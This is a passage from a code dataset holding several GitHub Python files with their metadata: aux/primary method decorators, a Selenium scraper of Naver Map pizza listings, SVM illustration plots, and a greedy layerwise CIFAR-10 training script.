{"api_name": "django.db.models", "line_number": 36, "usage_type": "name"}, {"api_name": "django.db.models.signals.pre_save.connect", "line_number": 51, "usage_type": "call"}, {"api_name": "django.db.models.signals.pre_save", "line_number": 51, "usage_type": "name"}]} {"seq_id": "19997230706", "text": "from __future__ import with_statement # (Py2.5 needs this)\n\nfrom functools import wraps\nfrom inspect import getmro, isfunction\n\n__all__ = (\n 'ClassNameConflictError',\n 'aux', 'primary',\n 'AutoAuxBase', 'AutoAuxMeta',\n)\n\n\n#\n# exceptions\n\nclass ClassNameConflictError(Exception):\n \"\"\"\n Conflict: class names are identical after stripping leading underscores.\n \"\"\"\n def __str__(self):\n cls1, cls2 = self.args\n return (\n 'Class names: %r and %r -- are identical after stripping leading '\n 'underscores, which is forbidden when using aux/primary methods.'\n % (cls1.__name__, cls2.__name__))\n\n\n#\n# non-public stuff\n\n_SUFFIXES = '_primary', '_before', '_after', '_around'\n\n\nclass _WrappedMethodPlaceholder(object):\n\n def __init__(self, func):\n self.func = func\n\n def __call__(self, *args, **kwargs):\n raise TypeError('method placeholder is not callable '\n '(forgot to apply aux() class decorator?)')\n\n\ndef _next_around(obj_around, self, basename, *args, **kwargs):\n # try to get and call next `around` aux method\n meth_around = getattr(obj_around, basename + '_around', None)\n if meth_around is not None:\n return meth_around(*args, **kwargs)\n else:\n # if there is no more `around` methods, get and call:\n # `before` aux method (it can call superclasses' `before` methods)\n meth_before = getattr(self, basename + '_before', None)\n if meth_before is not None:\n meth_before(*args, **kwargs)\n # primary method (it can call superclasses' primary methods)\n meth_primary = getattr(self, basename + '_primary')\n pri_result = meth_primary(*args, **kwargs)\n # `after` aux method (it can call superclasses' `after` methods)\n meth_after = getattr(self, basename + '_after', None)\n if meth_after is not None:\n meth_after(*args, **kwargs)\n return pri_result\n\ndef _provide_wrapper(cls, func, basename):\n @wraps(func)\n def wrapper(self, *args, **kwargs):\n return _next_around(self, self, basename, *args, **kwargs)\n added_doc = '(See: %s%s() signature).' % (basename, '_primary')\n existing_doc = (getattr(wrapper, '__doc__', None) or '').rstrip()\n if existing_doc:\n wrapper.__doc__ = '%s\\n\\n%s' % (existing_doc, added_doc)\n else:\n wrapper.__doc__ = added_doc\n setattr(cls, basename, wrapper)\n\ndef _provide_primary(cls, func, basename):\n suffixed_name = basename + '_primary'\n func.__name__ = suffixed_name\n func.__doc__ = (\n 'The actual method implementation '\n '(%s() is only a wrapper).' % basename)\n setattr(cls, suffixed_name, func)\n\ndef _provide_wrapped_primary(cls, func):\n basename = func.__name__\n _provide_wrapper(cls, func, basename)\n _provide_primary(cls, func, basename)\n\ndef _strip_and_check_cls_name(cls):\n cls_stripped_name = cls.__name__.lstrip('_')\n for supercls in getmro(cls):\n if (supercls is not cls and\n cls_stripped_name == supercls.__name__.lstrip('_')):\n raise ClassNameConflictError(supercls, cls)\n return cls_stripped_name\n\ndef _provide_call_next(cls, suffixed_name):\n cls_stripped_name = _strip_and_check_cls_name(cls)\n basename, qualifier = suffixed_name.rsplit('_', 1)\n cn_name = '_%s__%s' % (\n cls_stripped_name,\n (basename if qualifier == 'primary' else suffixed_name))\n if cn_name in vars(cls):\n return\n if qualifier == 'around':\n def call_next(self, *args, **kwargs):\n return _next_around(\n super(cls, self), self, basename, *args, **kwargs)\n else:\n def call_next(self, *args, **kwargs):\n super_meth = getattr(super(cls, self), suffixed_name, None)\n if super_meth is not None:\n return super_meth(*args, **kwargs)\n call_next.__name__ = cn_name\n setattr(cls, cn_name, call_next)\n\n\n#\n# actual decorators\n\ndef aux(cls):\n \"\"\"Class decorator (for classes containing primary and/or aux methods).\"\"\"\n if not isinstance(cls, type):\n raise TypeError('%r is not a type' % cls)\n # wrap/rename primary methods\n for name, obj in tuple(vars(cls).items()): # (Py2.x/3.x-compatibile way)\n if isinstance(obj, _WrappedMethodPlaceholder):\n _provide_wrapped_primary(cls, obj.func)\n # provide `call-next-method`-like methods\n for name, obj in tuple(vars(cls).items()):\n if isfunction(obj) and obj.__name__.endswith(_SUFFIXES):\n _provide_call_next(cls, obj.__name__)\n return cls\n\ndef primary(func):\n \"\"\"Method decorator (for primary methods only).\"\"\"\n if not isfunction(func):\n raise TypeError('%r is not a function' % func)\n return _WrappedMethodPlaceholder(func)\n\n\n#\n# convenience classes (any of them can be used *optionally*...)\n\nclass AutoAuxMeta(type):\n \"\"\"Convenience metaclass: `aux()`-decorates classes created by it.\"\"\"\n def __new__(mcs, name, bases, attr_dict):\n return aux(type.__new__(mcs, name, bases, attr_dict))\n\n# (here: Py2.x/3.x-compatibile way to create a class with a custom metaclass)\nAutoAuxBase = AutoAuxMeta('AutoAuxBase', (object,), {'__doc__':\n \"\"\"`AutoAuxMeta`-created base class: `aux()`-decorates its subclasses.\"\"\"})\n\n\n#\n# basic example\n\nif __name__ == '__main__':\n\n import sys\n import time\n\n class TimedAction(AutoAuxBase):\n # note: AutoAuxBase automatically decorates your classes with aux()\n\n def action_before(self, *args, **kwargs):\n \"\"\"Start action timer.\"\"\"\n print('starting action timer...')\n self.start_time = time.time()\n\n def action_after(self, *args, **kwargs):\n \"\"\"Stop action timer and report measured duration.\"\"\"\n self.action_duration = time.time() - self.start_time\n print('action duration: %f' % self.action_duration)\n\n\n class FileContentAction(AutoAuxBase):\n\n def action_around(self, path):\n \"\"\"Read file and pass its content on; report success or error.\"\"\"\n print('opening file %r...' % path)\n try:\n with open(path) as f:\n content = f.read()\n except EnvironmentError:\n print(sys.exc_info()[1])\n else:\n result = self.__action_around(path, content)\n print('file %r processed successfully' % path)\n return result\n\n\n class NewlinesCounter(FileContentAction, TimedAction):\n\n item_descr = 'newlines'\n\n @primary\n def action(self, path, content):\n \"\"\"Get number of newlines in a given string.\"\"\"\n return content.count('\\n')\n\n def action_before(self, path, *args):\n \"\"\"Print a message and go on...\"\"\"\n print('counting %s in file %r will start...' % (\n self.item_descr, path))\n self.__action_before(path, *args)\n\n def action_around(self, path):\n \"\"\"Start operation with given file path. Finally, show summary.\"\"\"\n result = self.__action_around(path)\n if result is not None:\n print('%s in file %r: %s\\n' % (\n self.item_descr, path, result))\n else:\n print('could not count %s in file %r\\n' % (\n self.item_descr, path))\n return result\n\n\n class SpacesAndNewlinesCounter(NewlinesCounter):\n\n item_descr = 'spaces and newlines'\n\n @primary\n def action(self, path, content):\n \"\"\"Get number of spaces and newlines in a given string.\"\"\"\n spaces = content.count(' ')\n newlines = self.__action(path, content)\n return spaces + newlines\n\n\n example_file_paths = __file__, 'spam/spam/spam/non-existent'\n\n nl_counter = NewlinesCounter()\n spc_nl_counter = SpacesAndNewlinesCounter()\n\n for path in example_file_paths:\n nl_counter.action(path)\n spc_nl_counter.action(path)\n", "repo_name": "zuo/Zuo-s-Recipes-and-Drafts", "sub_path": "auxmethods.py", "file_name": "auxmethods.py", "file_ext": "py", "file_size_in_byte": 8027, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "functools.wraps", "line_number": 65, "usage_type": "call"}, {"api_name": "inspect.getmro", "line_number": 91, "usage_type": "call"}, {"api_name": "inspect.isfunction", "line_number": 131, "usage_type": "call"}, {"api_name": "inspect.isfunction", "line_number": 137, "usage_type": "call"}, {"api_name": "time.time", "line_number": 169, "usage_type": "call"}, {"api_name": "time.time", "line_number": 173, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 186, "usage_type": "call"}]} {"seq_id": "3281478966", "text": "from selenium import webdriver\nimport time\n\n#다운받은 웹드라이버를 통해 Chrome을 켜겠다. driver는 켜진 웹드라이버를 가르킴\n#webdriver.Chrome(\"드라이버 위치\") : 드라이버 변수 생성, 크롬을 켠다.\nfrom selenium.common.exceptions import NoSuchElementException\n\ndriver = webdriver.Chrome(\"./chromedriver.exe\")\n\n#url에 접속\ndriver.get(\"https://v4.map.naver.com/\")\n\n#네이버 지도 업데이트 안내끄기\ndriver.find_elements_by_css_selector(\"button.btn_close\")[1].click()\n\n\n#검색창에 검색어 입력하기\nsearch_box = driver.find_element_by_css_selector(\"input#search-input\")\nsearch_box.send_keys(\"피자\")\n\n# 검색버튼 누르기 // 검색버튼: button.spm\nsearch_button = driver.find_element_by_css_selector(\"button.spm\")\nsearch_button.click()\n\ntime.sleep(1)\n\nstores = driver.find_elements_by_css_selector(\"div.lsnx\")\n\nfor n in range(1, 20):\n time.sleep(1)\n\n stores = driver.find_elements_by_css_selector(\"div.lsnx\")\n\n for store in stores:\n try:\n phone = store.find_element_by_css_selector(\"dd.tel\").text\n except NoSuchElementException as e:\n phone = \"전화번호 없음\"\n name = store.find_element_by_css_selector(\"dt > a\").text\n addr = store.find_element_by_css_selector(\"dd.addr\").text\n\n\n print(\"=\"*50)\n print(\"가게명:\", name)\n print(\"주소:\", addr)\n print(\"전화번호:\", phone)\n\n page_bar = driver.find_elements_by_css_selector(\"div.paginate > *\")\n\n try:\n if n%5 != 0:\n page_bar[n%5+1].click()\n else:\n page_bar[6].click()\n except:\n print(\"데이터 수집 완료\")\n break\n\n\n#driver.close()\n\n", "repo_name": "hyemWon/dataVisualization-study", "sub_path": "crawling/5.2.selenium_2.py", "file_name": "5.2.selenium_2.py", "file_ext": "py", "file_size_in_byte": 1707, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 8, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 8, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 25, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 30, "usage_type": "call"}, {"api_name": "selenium.common.exceptions.NoSuchElementException", "line_number": 37, "usage_type": "name"}]} {"seq_id": "34708759944", "text": "#!/usr/bin/env python\n# encoding: utf-8\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport mpl_toolkits.mplot3d.art3d as art3d\nfrom random import randrange\n\ndef foo():\n x = randrange(-50, 50)\n y = randrange(-50, 50)\n return (x**2, y**2, x * y)\n return (x**2, y**2, np.sqrt(2) * x * y)\n\ndef bar():\n x = randrange(-50, 50)\n y = randrange(-50, 50)\n return (x, y)\n\ndef highdim():\n fig = plt.figure()\n data = tuple(\n bar() for i in range(int(1e3/2))\n )\n data = np.array(data)\n idx = np.sum(data[:, :2]**2, 1) > 28**2\n idx = idx & (np.sum(data[:, :2]**2, 1) < 32**2)\n data = data[~idx]\n idx = np.sum(data[:, :2]**2, 1) < 30**2\n data1 = data[idx]\n data2 = data[~idx]\n plt.plot(data2[:, 0], data2[:, 1], 'bo')\n plt.plot(data1[:, 0], data1[:, 1], 'g+')\n c = plt.Circle((0, 0), 30, fill=False)\n plt.gca().add_artist(c)\n plt.savefig('svm_2d.png')\n\n #data1[:, 2] = np.random.randint(0, 8, data1.shape[0])\n #data2[:, 2] = np.random.randint(12, 20, data2.shape[0])\n data = tuple(\n foo() for i in range(int(1e3/2))\n )\n data = np.array(data)\n idx = np.sum(data[:, :2], 1) > 28**2\n idx = idx & (np.sum(data[:, :2], 1) < 32**2)\n data = data[~idx]\n idx = np.sum(data[:, :2], 1) < 30**2\n data1 = data[idx]\n data2 = data[~idx]\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n ax.scatter(data1[:, 0], data1[:, 1], data1[:, 2], marker='+', c='g')\n ax.scatter(data2[:, 0], data2[:, 1], data2[:, 2], marker='o', c='b')\n #p = plt.Rectangle((0, 0), 100**2, 100**2, fill=False)\n #ax.add_patch(p)\n #art3d.pathpatch_2d_to_3d(p, z=15**2)\n ax.view_init(200, 135)\n plt.savefig('svm_3d.png')\n\n\ndef maxmarg():\n fig = plt.figure()\n data = tuple((randrange(0, 100), randrange(0, 100)) for i in range(int(1e3/2)))\n data = np.array(data)\n\n idx = data[:, 0] < 30\n idx |= data[:, 0] > 40\n data = data[idx, :]\n idx = data[:, 0] < 30\n data1 = data[idx, :]\n data2 = data[~idx, :]\n\n plt.plot(data1[:, 0], data1[:, 1], 'g+')\n plt.plot(data2[:, 0], data2[:, 1], 'bo')\n plt.plot((32, 32), (0, 100), 'k-')\n plt.plot((30, 40), (0, 100), 'k-')\n plt.plot((40, 30), (0, 100), 'k-')\n plt.plot((38, 38), (0, 100), 'k-')\n plt.savefig('svm_lin.png')\n\n fig = plt.figure()\n plt.plot(data1[:, 0], data1[:, 1], 'g+')\n plt.plot(data2[:, 0], data2[:, 1], 'bo')\n plt.plot((35, 35), (0, 100), 'k-')\n plt.savefig('svm_lin_maxmarg.png')\n\n\nmaxmarg()\nhighdim()\nplt.show()\n", "repo_name": "HappyProgrammateur/Thesis-Latex", "sub_path": "images/svm.py", "file_name": "svm.py", "file_ext": "py", "file_size_in_byte": 2591, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "random.randrange", "line_number": 10, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 13, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 16, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Circle", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "random.randrange", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}]} {"seq_id": "7041192438", "text": "\"Greedy layerwise cifar training\"\nfrom __future__ import print_function\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.backends.cudnn as cudnn\nimport numpy as np\n\nimport torchvision\nimport torchvision.transforms as transforms\n\nimport os\nimport argparse\n\nfrom model_greedy import *\nfrom torch.autograd import Variable\n\nfrom utils import progress_bar\n\nfrom random import randint\nimport datetime\nimport json\n\n\n\nparser = argparse.ArgumentParser(description='PyTorch CIFAR10 Training')\nparser.add_argument('--lr', default=0.1, type=float, help='learning rate')\nparser.add_argument('--resume', '-r', action='store_true', help='resume from checkpoint')\nparser.add_argument('--ncnn', default=5,type=int, help='depth of the CNN')\nparser.add_argument('--nepochs', default=50,type=int, help='number of epochs')\nparser.add_argument('--epochdecay', default=15,type=int, help='number of epochs')\nparser.add_argument('--avg_size', default=16,type=int, help='size of averaging ')\nparser.add_argument('--feature_size', default=128,type=int, help='feature size')\nparser.add_argument('--ds-type', default=None, help=\"type of downsampling. Defaults to old block_conv with psi. Options 'psi', 'stride', 'avgpool', 'maxpool'\")\nparser.add_argument('--nlin', default=2,type=int, help='nlin')\nparser.add_argument('--ensemble', default=1,type=int,help='compute ensemble')\nparser.add_argument('--name', default='',type=str,help='name')\nparser.add_argument('--batch_size', default=128,type=int,help='batch size')\nparser.add_argument('--bn', default=0,type=int,help='use batchnorm')\nparser.add_argument('--debug', default=0,type=int,help='debug')\nparser.add_argument('--debug_parameters', default=0,type=int,help='verification that layers frozen')\nparser.add_argument('-j', '--workers', default=6, type=int, metavar='N',\n help='number of data loading workers (default: 4)')\nparser.add_argument('--width_aux', default=128,type=int,help='auxillary width')\nparser.add_argument('--down', default='[1,2]', type=str,\n help='layer at which to downsample')\nparser.add_argument('--seed', default=None, help=\"Fixes the CPU and GPU random seeds to a specified number\")\n\nargs = parser.parse_args()\nopts = vars(args)\nargs.ensemble = args.ensemble>0\nargs.bn = args.bn > 0\nargs.debug_parameters = args.debug_parameters > 0\n\nif args.debug:\n args.nepochs = 1 # we run just one epoch per greedy layer training in debug mode\n\ndownsample = list(np.array(json.loads(args.down)))\nin_size=32\nmode=0\n\nif args.seed is not None:\n seed = int(args.seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n\n\nsave_name = 'layersize_'+str(args.feature_size)+'width_' \\\n + str(args.width_aux) + 'depth_' + str(args.nlin) + 'ds_type_' + str(args.ds_type) +'down_' + args.down \n#logging\ntime_stamp = str(datetime.datetime.now().isoformat())\n\nname_log_dir = ''.join('{}{}-'.format(key, val) for key, val in sorted(opts.items()))+time_stamp\nname_log_dir = 'runs/'+name_log_dir\n\nname_log_txt = time_stamp + save_name + str(randint(0, 1000)) + args.name\ndebug_log_txt = name_log_txt + '_debug.log'\nname_save_model = name_log_txt + '.t7'\nname_log_txt=name_log_txt +'.log'\n\nwith open(name_log_txt, \"a\") as text_file:\n print(opts, file=text_file)\n\n\nuse_cuda = torch.cuda.is_available()\nstart_epoch = 0 # start from epoch 0 or last checkpoint epoch\n\n# Data\nprint('==> Preparing data..')\ntransform_train = transforms.Compose([\n transforms.RandomCrop(32, padding=4),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\n])\n\ntransform_test = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\n])\n\ntrainset_class = torchvision.datasets.CIFAR10(root='.', train=True, download=True,transform=transform_train)\ntrainloader_classifier = torch.utils.data.DataLoader(trainset_class, batch_size=args.batch_size, shuffle=True, num_workers=args.workers)\ntestset = torchvision.datasets.CIFAR10(root='.', train=False, download=True, transform=transform_test)\ntestloader = torch.utils.data.DataLoader(testset, batch_size=256, shuffle=False, num_workers=2)\n\n# Model\n\nprint('==> Building model..')\nn_cnn=args.ncnn\n#if args.ds_type is None:\n # block_conv_ = block_conv\n#else:\n # from functools import partial\n # block_conv_ = partial(ds_conv, ds_type=args.ds_type)\nnet = greedyNet(block_conv, 1, args.feature_size, downsample=downsample, batchnorm=args.bn)\n \n\nif args.width_aux:\n num_feat = args.width_aux\nelse:\n num_feat = args.feature_size\n\nnet_c = auxillary_classifier(avg_size=args.avg_size, in_size=in_size,\n n_lin=args.nlin, feature_size=num_feat,\n input_features=args.feature_size, batchn=args.bn)\n\n\nwith open(name_log_txt, \"a\") as text_file:\n print(net, file=text_file)\n print(net_c, file=text_file)\n\nnet = torch.nn.DataParallel(nn.Sequential(net,net_c)).cuda()\ncudnn.benchmark = True\n\ncriterion_classifier = nn.CrossEntropyLoss()\n\nnet.module[0].unfreezeGradient(0)\noptimizer = optim.SGD(filter(lambda p: p.requires_grad, net.parameters()), lr=args.lr, momentum=0.9, weight_decay=5e-4)\ncriterion = nn.CrossEntropyLoss()\n\n\ndef train_classifier(epoch,n):\n print('\\nSubepoch: %d' % epoch)\n net.train()\n for k in range(n):\n net.module[0].blocks[k].eval()\n\n\n if args.debug_parameters:\n #This is used to verify that early layers arent updated\n import copy\n #store all parameters on cpu as numpy array\n net_cpu = copy.deepcopy(net).cpu()\n net_cpu_dict = net_cpu.module[0].state_dict()\n with open(debug_log_txt, \"a\") as text_file:\n print('n: %d'%n)\n for param in net_cpu_dict.keys():\n net_cpu_dict[param]=net_cpu_dict[param].numpy()\n print(\"parameter stored on cpu as numpy: %s \"%(param),file=text_file)\n\n train_loss = 0\n correct = 0\n total = 0\n for batch_idx, (inputs, targets) in enumerate(trainloader_classifier):\n if use_cuda:\n inputs, targets = inputs.cuda(), targets.cuda()\n\n optimizer.zero_grad()\n inputs, targets = Variable(inputs), Variable(targets)\n outputs = net.forward([inputs,n])\n\n loss = criterion_classifier(outputs, targets)\n loss.backward()\n optimizer.step()\n loss_pers=0\n\n if args.debug_parameters:\n\n s_dict = net.module[0].state_dict()\n with open(debug_log_txt, \"a\") as text_file:\n print(\"iteration %d\" % (batch_idx), file=text_file)\n for param in s_dict.keys():\n diff = np.sum((s_dict[param].cpu().numpy()-net_cpu_dict[param])**2)\n print(\"n: %d parameter: %s size: %s changed by %.5f\" % (n,param,net_cpu_dict[param].shape,diff),file=text_file)\n\n train_loss += loss.data[0]\n _, predicted = torch.max(outputs.data, 1)\n total += targets.size(0)\n correct += predicted.eq(targets.data).cpu().sum()\n\n progress_bar(batch_idx, len(trainloader_classifier), 'Loss: %.3f | Acc: %.3f%% (%d/%d) | losspers: %.3f'\n % (train_loss/(batch_idx+1), 100.*float(correct)/float(total), correct, total,loss_pers))\n\n acc = 100.*float(correct)/float(total)\n return acc\n\nall_outs = [[] for i in range(args.ncnn)]\n\ndef test(epoch,n,ensemble=False):\n global acc_test_ensemble\n all_targs = []\n net.eval()\n test_loss = 0\n correct = 0\n total = 0\n\n all_outs[n] = []\n for batch_idx, (inputs, targets) in enumerate(testloader):\n if use_cuda:\n inputs, targets = inputs.cuda(), targets.cuda()\n\n inputs, targets = Variable(inputs, volatile=True), Variable(targets)\n outputs = net([inputs,n])\n\n loss = criterion_classifier(outputs, targets)\n\n test_loss += loss.data[0]\n _, predicted = torch.max(outputs.data, 1)\n total += targets.size(0)\n correct += predicted.eq(targets.data).cpu().sum()\n\n progress_bar(batch_idx, len(testloader), 'Loss: %.3f | Acc: %.3f%% (%d/%d)'\n % (test_loss/(batch_idx+1), 100.*float(correct)/float(total), correct, total))\n\n if args.ensemble:\n all_outs[n].append(outputs.data.cpu())\n all_targs.append(targets.data.cpu())\n acc = 100. * float(correct) / float(total)\n\n if ensemble:\n all_outs[n] = torch.cat(all_outs[n])\n all_targs = torch.cat(all_targs)\n #This is all on cpu so we dont care\n weight = 2 ** (np.arange(n + 1)) / sum(2 ** np.arange(n + 1))\n total_out = torch.zeros((total,10))\n\n #very lazy\n for i in range(n+1):\n total_out += float(weight[i])*all_outs[i]\n\n\n _, predicted = torch.max(total_out, 1)\n correct = predicted.eq(all_targs).sum()\n acc_ensemble = 100*float(correct)/float(total)\n print('Acc_ensemble: %.2f'%acc_ensemble)\n if ensemble:\n return acc,acc_ensemble\n else:\n return acc\n\ni=0\nnum_ep = args.nepochs\n\nfor n in range(n_cnn):\n net.module[0].unfreezeGradient(n)\n lr = args.lr*5.0# we run at epoch 0 the lr reset to remove non learnable param\n\n for epoch in range(0, num_ep):\n i=i+1\n print('n: ',n)\n if epoch % args.epochdecay == 0:\n lr=lr/5.0\n to_train = list(filter(lambda p: p.requires_grad, net.parameters()))\n optimizer = optim.SGD(to_train, lr=lr, momentum=0.9, weight_decay=5e-4)\n print('new lr:',lr)\n\n acc_train = train_classifier(epoch,n)\n if args.ensemble:\n acc_test,acc_test_ensemble = test(epoch,n,args.ensemble)\n\n with open(name_log_txt, \"a\") as text_file:\n print(\"n: {}, epoch {}, train {}, test {},ense {} \"\n .format(n,epoch,acc_train,acc_test,acc_test_ensemble), file=text_file)\n else:\n acc_test = test(epoch, n)\n with open(name_log_txt, \"a\") as text_file:\n print(\"n: {}, epoch {}, train {}, test {}, \".format(n,epoch,acc_train,acc_test), file=text_file)\n\n if args.debug:\n break\n\n\n if args.down and n in downsample:\n args.avg_size = int(args.avg_size/2)\n in_size = int(in_size/2)\n args.feature_size = int(args.feature_size*2)\n args.width_aux = args.width_aux * 2\n\n if args.width_aux:\n num_feat = args.width_aux\n else:\n num_feat = args.feature_size\n\n net_c = None\n if n < n_cnn-1:\n net_c = auxillary_classifier(avg_size=args.avg_size, in_size=in_size,\n n_lin=args.nlin, feature_size=args.width_aux,\n input_features=args.feature_size, batchn=args.bn).cuda()\n net.module[0].add_block(n in downsample)\n net = torch.nn.DataParallel(nn.Sequential(net.module[0], net_c)).cuda()\n\nstate_final = {\n 'net': net,\n 'acc_test': acc_test,\n 'acc_train': acc_train,\n }\ntorch.save(state_final,save_name)\n", "repo_name": "eugenium/layerCNN", "sub_path": "cifar.py", "file_name": "cifar.py", "file_ext": "py", "file_size_in_byte": 11095, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 18, "dataset": "github-code", "pt": "7", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 59, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.manual_seed", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.cuda.manual_seed_all", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 66, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 72, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 72, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 86, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 86, "usage_type": "attribute"}, {"api_name": "torchvision.transforms.Compose", "line_number": 91, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 91, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomCrop", "line_number": 92, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 92, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomHorizontalFlip", "line_number": 93, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 93, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 94, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 94, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 95, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 95, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 98, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 98, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 99, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 99, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 100, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 100, "usage_type": "name"}, {"api_name": "torchvision.datasets.CIFAR10", "line_number": 103, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 103, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 104, "usage_type": "attribute"}, {"api_name": "torchvision.datasets.CIFAR10", "line_number": 105, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 105, "usage_type": 